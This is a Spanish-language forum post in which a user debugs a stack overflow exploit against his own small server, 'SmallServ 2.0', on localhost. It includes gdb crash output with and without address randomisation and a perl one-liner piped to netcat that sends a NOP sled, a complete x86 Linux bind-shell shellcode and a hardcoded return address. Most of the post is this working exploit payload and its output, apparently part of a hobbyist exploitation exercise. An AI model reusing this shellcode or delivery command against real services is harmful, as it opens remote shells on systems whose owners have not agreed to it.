Cita de: M3st4ng en 18 Febrero 2011, 21:40 PM
Hola de nuevo!
He probado tu shellcode aparte, sin usar ningún tipo de código vulnerable, y me da "violacion de segmento". ¿Puede que esté la shellcode mal? Intentaré buscar una que haga un bindshell y probaré a ver.
Mmm, puede que la haya recortado mal, luego la miro, pero no es mía

_________________________________________________________________________
Vale, modifico, un detallito...
Al activar el randomize_va_space...
Código [Seleccionar]
juanra@Juanra:~$ sudo gdb -q serv
[sudo] password for juanra:
(gdb) r 31337
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:09:38
19/02/2011 13:09:38 Starting up...
19/02/2011 13:09:41 Got connection from 127.0.0.1:46633
19/02/2011 13:09:41 RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
Rh//shh/bin��R��S��̀������������
Program received signal SIGSEGV, Segmentation fault.
0xbffff7c4 in ?? ()
(gdb)
RET correcto.
Y al desactivar...
Código [Seleccionar]
(gdb) r 31337
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 19/02/2011 13:10:53
19/02/2011 13:10:53 Starting up...
19/02/2011 13:10:56 Got connection from 127.0.0.1:60248
19/02/2011 13:10:56 RECV 113 bytes: ��������jfX�1�CRjj��̀�jfXCRfhzifS��jQV��̀�fCCSV��̀�fCRRV��̀�jY�?̀Iy��
Rh//shh/bin��R��S��̀������������
Program received signal SIGSEGV, Segmentation fault.
0xbffff801 in ?? ()
(gdb)
Ambos corren así:
Código [Seleccionar]
juanra@Juanra:~$ perl -e 'print "\x90"x8 . "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xc4\xf7\xff\xbf"x3 . "\x00"' | nc -vv localhost 31337
¿? Voy a mirar a ver la shellcode...
_________________________________________________________________________
Modf: La shellcode va perfectamente
